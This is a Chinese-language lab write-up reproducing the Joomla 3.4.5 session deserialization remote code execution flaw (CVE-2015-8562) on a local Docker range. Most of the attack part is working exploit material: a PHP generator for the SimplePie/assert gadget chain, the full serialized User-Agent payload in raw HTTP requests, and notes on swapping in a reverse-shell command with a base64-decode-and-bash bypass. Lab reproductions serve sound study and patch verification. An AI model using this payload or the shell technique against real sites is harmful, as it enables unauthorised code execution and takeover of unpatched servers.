Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
概述
Joomla 是一款免费开源的内容管理系统(CMS),用 PHP 语言和 MySQL 数据库开发。它被广泛用于构建各种类型的网站,包括企业网站、新闻门户、电子商务平台等。Joomla 以其灵活性、可扩展性和安全性而闻名,在全球 CMS 市场中占有一席之地。
本漏洞根源是 PHP5.6.13 前的版本在读取存储好的 session 时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而 Joomla 将 session 存储在 Mysql 数据库中,编码是 UTF-8,当插入 4 字节的 UTF-8 数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过 Joomla 中的 Gadget,可造成任意代码执行的结果。
影响版本:
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8081/即可看到默认页面。
首先发送一次请求包,但是请求头中不带 UA 头:
GET / HTTP/1.1
Host: 192.168.2.243:8081
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
获取到 Cookie 值为:
Cookie: a334a91e1ae7a483b360440258fc4cd3=c54953ea3deeedccb4feccf81d9a8cde;
随后运行如下 PHP,生成 POC:
<?php
class JSimplepieFactory {
}
class SimplePie_Sanitize{}
class JDatabaseDriverMysqli
{
protected $a;
protected $disconnectHandlers;
protected $connection;
public function __construct(){
$this->connection=1;
$this->a=new JSimplepieFactory();
$b=new SimplePie();
$this->disconnectHandlers=array(
'1'=>array($b,'init')
);
}
}
class SimplePie
{
var $sanitize;
var $cache;
var $cache_name_function;
//var $javascript;
var $feed_url;
public function __construct(){
$this->cache_name_function="assert";
$this->sanitize=new SimplePie_Sanitize();
$this->cache=true;
//$this->javascript=9999;
//$this->feed_url="phpinfo();";
//$this->feed_url="phpinfo();JFactory::getConfig();exit;";
$this->feed_url='phpinfo();$a=":"';
}
}
echo "123\"}__test|".str_replace(chr(0)."*".chr(0),'\0\0\0',serialize(new JDatabaseDriverMysqli()))."\xF0\x9D\x8C\x86";
随后将生成好的 POC 作为 UA 头,并带上第一步获取的 Cookie,发送请求包,本次发包,脏数据进入 MySQL 数据库。
GET / HTTP/1.1
Host: 192.168.2.243:8081
Accept: */*
User-Agent: 123"}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:1;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:16:"phpinfo();$a=":"";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
Cookie: cbfde777b56b66ee64edd1f9c8a1fcc3=e0e3b4efbda6f73b7a074bfdcbd97342;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
随后再发送一次相同的请求包,应该就会执行注入的代码。
但是,经多次尝试,该靶场始终无法成功执行相应的命令。
怀疑是靶场出了问题,尝试更换镜像,修改 docker-compose.yml。
version: '2'
services:
web:
image: pancontent/cve-2015-8562_web
depends_on:
- mysql
environment:
- JOOMLA_DB_HOST=mysql
- JOOMLA_DB_PORT=3306
- JOOMLA_DB_USER=root
- JOOMLA_DB_PASSWORD=vulhub
- JOOMLA_DB_NAME=joomla
ports:
- "8081:80"
mysql:
image: mysql:5.5
environment:
- MYSQL_ROOT_PASSWORD=vulhub
重新搭建靶场以后,访问 http://192.168.2.243:8081/会看到一个设置页面。
进入初始化界面以后,首先设置一下,对其进行初始化。
配置 页面可以随意设置,记住即可,但在数据库页面,相关的配置要与 docker-compose.yml 中设定的一样。
后续按照默认安装即可,完成以后可以选择删除安装目录。
此时靶场已经完全搭建起来。
再次尝试复现漏洞。
首先发送不带 UA 头的请求,获取一个 Cookie。
GET / HTTP/1.1
Host: 192.168.2.243:8081
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
获取到的 Cookie 为:
Cookie: c402aa9c1b95212c471b0ef8e1450a79=42be5ebecd8242e6c76e2dc70bf656c5;
随后连发两次带有反序列化链的数据包:
GET / HTTP/1.1
Host: 192.168.43.50:8081
Pragma: no-cache
Cache-Control: no-cache
User-Agent: 123"}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:1;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:16:"phpinfo();$a=":"";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: c402aa9c1b95212c471b0ef8e1450a79=42be5ebecd8242e6c76e2dc70bf656c5;
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
终于可以成功执行命令。
接下来尝试反弹 Shell。
那么就要修改 POC 中的 phpinfo()
为想要执行的反弹 Shell 的命令。
随后重复上述步骤即可。
注:
经过测试,貌似若反序列化 POC 的执行的命令中存在 /
,命令就无法执行(但也不是很肯定问题是出在这儿),例如若将 phpinfo()
修改为 system("touch /tmp/success")
那么命令始终无法执行,但是若是修改为 system("touch success")
命令则成功执行,此时文件成功创建到了目录 /var/www/html
下。
因此,可以使用 base64 编码绕过:
system(\"echo 'base64-commond' | base64 -d | bash\")